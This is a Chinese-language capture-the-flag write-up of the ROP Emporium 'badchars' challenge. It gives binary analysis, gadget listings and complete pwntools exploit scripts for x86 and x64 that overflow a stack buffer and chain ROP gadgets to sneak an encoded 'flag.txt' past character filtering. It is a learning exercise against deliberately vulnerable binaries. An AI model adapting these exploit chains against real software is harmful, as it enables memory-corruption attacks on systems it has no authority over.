Challenge5_badchars

badchars

题目链接:https://ropemporium.com/challenge/badchars.html

x86

根据题目描述可知,我们往栈中的输入会有一些坏字节,在我们查找偏移量的过程中就会遇到。

我们首先还是先查看下保护:

1
2
3
4
5
6
7
8
$ checksec badchars32 
[*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level5_badchars/32/badchars32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'

跟前几个都一样,接着我们查看下程序中的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ r2 -A ./badchars32
[0x080483f0]> afl
0x080483f0 1 50 entry0
0x08048423 1 4 fcn.08048423
0x080483c0 1 6 sym.imp.__libc_start_main
0x0804837c 3 35 sym._init
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x080483e0 1 6 sym..plt.got
0x080485c4 1 20 sym._fini
0x08048450 4 41 sym.deregister_tm_clones
0x08048490 4 54 sym.register_tm_clones
0x080484d0 3 31 sym.__do_global_dtors_aux
0x08048500 1 6 sym.frame_dummy
0x0804852a 1 25 sym.usefulFunction
0x080483d0 1 6 sym.imp.print_file
0x080485c0 1 2 sym.__libc_csu_fini
0x08048560 4 93 sym.__libc_csu_init
0x08048430 1 2 sym._dl_relocate_static_pie
0x08048506 1 36 main
0x080483b0 1 6 sym.imp.pwnme
[0x080483f0]> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x080483b0 GLOBAL FUNC pwnme
2 0x000003e0 WEAK NOTYPE __gmon_start__
3 0x080483c0 GLOBAL FUNC __libc_start_main
4 0x080483d0 GLOBAL FUNC print_file

可以看到,pwnme函数跟print_file函数还是在链接库中,同样还存在usefulFunction函数,我们依次来查看三个函数内容:

1
2
3
4
5
6
7
8
9
[0x080483f0]> s sym.usefulFunction 
[0x0804852a]> pdg

void sym.usefulFunction(void)

{
sym.imp.print_file("nonexistent");
return;
}

usefulFunction函数跟上一题一样,所以,这题的思路也是要调用print_file函数来打印flag。我们加载分析链接库,查看其他函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[0x000005c0]> s sym.pwnme 
[0x000006bd]> pdg

// WARNING: Variable defined which should be unmapped: var_4h

void sym.pwnme(void)

{
uint32_t uVar1;
int32_t unaff_EBX;
uint s;
uint32_t var_34h;
uint32_t var_30h;
uint var_28h;
uint var_4h;

entry0();
sym.imp.setvbuf(**(unaff_EBX + 0x192f), 0, 2, 0);
sym.imp.puts(unaff_EBX + 0x1b3);
sym.imp.puts(unaff_EBX + 0x1cc);
sym.imp.memset(&var_28h, 0, 0x20);
sym.imp.puts(unaff_EBX + 0x1d3);
sym.imp.printf(unaff_EBX + 500);
uVar1 = sym.imp.read(0, &var_28h, 0x200);
for (var_34h = 0; var_34h < uVar1; var_34h = var_34h + 1) {
for (var_30h = 0; var_30h < 4; var_30h = var_30h + 1) {
if (*(&var_28h + var_34h) == *(*(unaff_EBX + 0x1927) + var_30h)) {
*(&var_28h + var_34h) = 0xeb;
}
}
}
sym.imp.puts(unaff_EBX + 0x1f7);
return;
}

pwnme函数中在read函数之后多了一段循环代码,这里的反编译就没有IDA的看起来更容易懂,但根据题意和调试,也可推断出,这段代码的作用就是遍历我们输入的字符串,如果满足条件,将会把字符给替换成0xeb,下边的IDA反编译的结果就比较直观了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int pwnme()
{
unsigned int v1; // [esp+0h] [ebp-38h]
unsigned int i; // [esp+4h] [ebp-34h]
unsigned int j; // [esp+8h] [ebp-30h]
char v4[36]; // [esp+10h] [ebp-28h] BYREF

setvbuf(stdout, 0, 2, 0);
puts("badchars by ROP Emporium");
puts("x86\n");
memset(v4, 0, 0x20u);
puts("badchars are: 'x', 'g', 'a', '.'");
printf("> ");
v1 = read(0, v4, 0x200u);
for ( i = 0; i < v1; ++i )
{
for ( j = 0; j <= 3; ++j )
{
if ( v4[i] == badcharacters[j] )
v4[i] = -21;//0xEB
}
}
return puts("Thank you!");
}

题目中告诉了我们badchars一共有四个:x g a .,我们需要传递给print_file函数的参数flag.txt中就有4个坏字符。所以我们要想办法避免替换,绕开坏字符检测。

我们首先考虑下没有检测的情况,思路跟write一样,将参数写入到数据段,然后调用print_file函数并将参数传递过去。然后再考虑上坏字符检测,我们就需要对字符做一些操作,比如异或等操作,先对字符加密,然后将字符写入栈,转移到数据段后再解密还原。

根据上题的经验,我们看下程序中是否还存在usefulGadget函数,给我们提供一些有用的Gadgets。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ objdump -M intel -dj .text ./badchar32
```
08048543 <usefulGadgets>:
8048543: 00 5d 00 add BYTE PTR [ebp+0x0],bl
8048546: c3 ret
8048547: 30 5d 00 xor BYTE PTR [ebp+0x0],bl
804854a: c3 ret
804854b: 28 5d 00 sub BYTE PTR [ebp+0x0],bl
804854e: c3 ret
804854f: 89 37 mov DWORD PTR [edi],esi
8048551: c3 ret
8048552: 66 90 xchg ax,ax
8048554: 66 90 xchg ax,ax
8048556: 66 90 xchg ax,ax
8048558: 66 90 xchg ax,ax
804855a: 66 90 xchg ax,ax
804855c: 66 90 xchg ax,ax
804855e: 66 90 xchg ax,ax

我们看到程序给我们提供了mov DWORD PTR [edi],esi,我们可以使用它来将栈中的参数写入数据段,程序还提供给了add sub xor运算,我们可以用它们来对我们传入的加密后的字符进行解密操作。

我们来分析下这几个寄存器的的作用:

1
2
3
4
# ebp : 待解密的参数地址,存储加密后参数的位置
# ebx : low 8 bit -> bl store the key to decrypt the args
# edi : the address of encrypted strings in .data section
# esi : store the encrypted strings

所以,我们要寻找向这几个寄存器传递值的gadgets,例如pop ebp;ret这种。

1
2
3
4
5
6
7
8
9
10
11
12
$ ROPgadget --binary ./badchars32 --only "pop|ret"
Gadgets information
============================================================
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1

Unique gadgets found: 7

0x080485b8地址处刚好有对这四个寄存器操作的gadgets,考虑到我们传入的字符中坏字符有4个,而向数据段写入只需要调用两次0x080485b8处的gadget即可,所以我们需要再找单独对ebp寄存器操作的gadget,也就是0x080485bb : pop ebp ; ret

使用readelf查看下数据段的地址:

1
2
3
$ readelf -S ./badchars32
···
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4

0x0804a018就是数据段的起始地址,接下来我们就可以构造ROP链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
padding		#填充
pop_ebx_esi_edi_ebp #向四个寄存器传递所需的值
0x1 #解密密钥
encrypt('flag') #加密过后的字符串
data addr #要存入的数据段地址
'a' addr #待解密的字符地址

mov_esi_[edi] #将加密后的字符转入数据段
add_[ebp]_bl #解密字符

pop_ebp #传递下一个待解密字符的地址
‘g’ addr
add_[ebp]_bl #解密字符
---
pop_ebx_esi_edi_ebp #向四个寄存器传递所需的值
0x1 #解密密钥
encrypt('.txt') #加密过后的字符串
data addr #要存入的数据段地址
'.' addr #待解密的字符地址

mov_esi_[edi] #将加密后的字符转入数据段
add_[ebp]_bl #解密字符

pop_ebp #传递下一个待解密字符的地址
‘x’ addr
add_[ebp]_bl #解密字符

print_file addr #print_file函数地址覆盖返回地址
p32(1) #预留返回地址
data addr #解密后的参数地址

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

p = process('./badchars32')
e = ELF('./badchars32')

print_file_addr = p32(e.plt['print_file'])
encrypted_flag_addr = 0x0804a018 #.data section
offset = 44

#encrypt the chars
badchars = ['a','g','.','x']
def encrypt(strings,key=0x01):
encrypted_string = ''
for char in list(strings):
if char in badchars:
encrypted_string += chr(ord(char)-key)
else:
encrypted_string += char
return encrypted_string

encrypted_strings = encrypt('flag.txt',key=0x01)

# gadgets:
# 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret Nope!
pop_ebx_esi_edi_ebp_ret = p32(0x080485b8) # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = p32(0x080485bb) # pop ebp ; ret
# pop_ebx_ret = p32(0x0804839d) # pop ebx ; ret
mov_esi_to_edis_ret = p32(0x0804854f) # mov dword ptr [edi], esi ; ret
add_ebps_bl_ret = p32(0x08048543) # add byte ptr [ebp], bl ; ret

# ebp : dai jie mi de canshu address
# ebx : low 8 bit -> bl store the key to decrypt the args
# edi : the address of encrypted strings in .data section
# esi : store the encrypted strings

payload = offset*b'A'
payload+= pop_ebx_esi_edi_ebp_ret
payload+= p32(0x01) + bytes(encrypted_strings[:4]) + p32(encrypted_flag_addr) + p32(encrypted_flag_addr+2)
payload+= mov_esi_to_edis_ret
payload+= add_ebps_bl_ret

payload+= pop_ebp_ret
payload+= p32(encrypted_flag_addr+3)
payload+= add_ebps_bl_ret

payload+= pop_ebx_esi_edi_ebp_ret
payload+= p32(0x01) + bytes(encrypted_strings[4:]) + p32(encrypted_flag_addr+4) + p32(encrypted_flag_addr+4)
payload+= mov_esi_to_edis_ret
payload+= add_ebps_bl_ret

payload+= pop_ebp_ret
payload+= p32(encrypted_flag_addr+6)
payload+= add_ebps_bl_ret

payload+= print_file_addr
payload+= p32(1)
payload+= p32(encrypted_flag_addr)


p.sendline(payload)
p.interactive()

执行结果如下:

1
2
3
4
5
6
7
8
badchars by ROP Emporium
x86

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

x64

x64与x86思路一样,只是64位可以一次性操作8字节,可以一次性写入flag.txt字符串。

还有一个需要注意的是,64位的数据段起始地址为0x601028,如果我们直接写入到此处,运行exp后会报错:

1
Failed to open file: flag.twt

我们可以看到x没有被解密成功,经过调试,发现问题出在数据段的地址上:

x对应的地址为0x601028+6,而

1
2
3
4
>>> hex(0x601028+6)
'0x60102e'
>>> chr(0x2e)
'.'

我们传入栈中的加密后的x所在的地址,被当作了坏字符处理了,如下中的ebp

1
2
3
4
5
6
7
8
9
*R15  0x6010eb ◂— 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7fff8ef4c1b8 —▸ 0x40062c (usefulGadgets+4) ◂— add byte ptr [r15], r14b /* 'E' */
*RIP 0x4006a4 (__libc_csu_init+100) ◂— ret
───────────────────[ DISASM ]────────────────────────
0x4006a3 <__libc_csu_init+99> pop rdi
► 0x4006a4 <__libc_csu_init+100> ret <0x40062c; usefulGadgets+4>

0x40062c <usefulGadgets+4> add byte ptr [r15], r14b

所以我们要改变下存入的地址,将数据段地址+7作为存储的地址,就不会在地址处包含换字节了。

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

p = process('./badchars')
e = ELF('./badchars')

print_addr = e.plt['print_file']
data_addr = 0x0000000000601028+7 #Note!!!! 28+7=2e ,chr(2e)=. is a badchars in payload

offset = 40

#encrypt the chars
badchars = ['a','g','.','x']
def encrypt(strings,key=0x01):
encrypted_string = ''
for char in list(strings):
if char in badchars:
encrypted_string += chr(ord(char)-key)
else:
encrypted_string += char
return encrypted_string

encrypted_strings = encrypt('flag.txt',key=0x01)
#Gadgets
pop_r12_r13_r14_r15_addr = 0x000000000040069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop_r14_r15_addr = 0x00000000004006a0 # pop r14 ; pop r15 ; ret
pop_rdi_addr = 0x00000000004006a3 # pop rdi ; ret
pop_r15_addr = 0x00000000004006a2 # pop r15 ; ret
mov_r12_to_r13s_addr = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
add_r14b_r15s_addr = 0x000000000040062c # add byte ptr [r15], r14b ; ret

# r15 : dai jie mi de canshu address
# r14 : low 8 bit -> bl store the key to decrypt the args
# r13 : the address of encrypted strings in .data section
# r12 : store the encrypted strings

payload = offset*b'A'
payload+= p64(pop_r12_r13_r14_r15_addr)
payload+= bytes(encrypted_strings) + p64(data_addr) + p64(0x01) + p64(data_addr+2)
payload+= p64(mov_r12_to_r13s_addr)
payload+= p64(add_r14b_r15s_addr)

payload+= p64(pop_r15_addr)
payload+= p64(data_addr+3)
payload+= p64(add_r14b_r15s_addr)

payload+= p64(pop_r15_addr)
payload+= p64(data_addr+4)
payload+= p64(add_r14b_r15s_addr)

payload+= p64(pop_r14_r15_addr)
payload+= p64(0x1)
payload+= p64(data_addr+6)
payload+= p64(add_r14b_r15s_addr)

payload+= p64(pop_rdi_addr)
payload+= p64(data_addr)
payload+= p64(print_addr)

p.sendline(payload)
p.interactive()

执行结果如下:

1
2
3
4
5
6
7
8
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$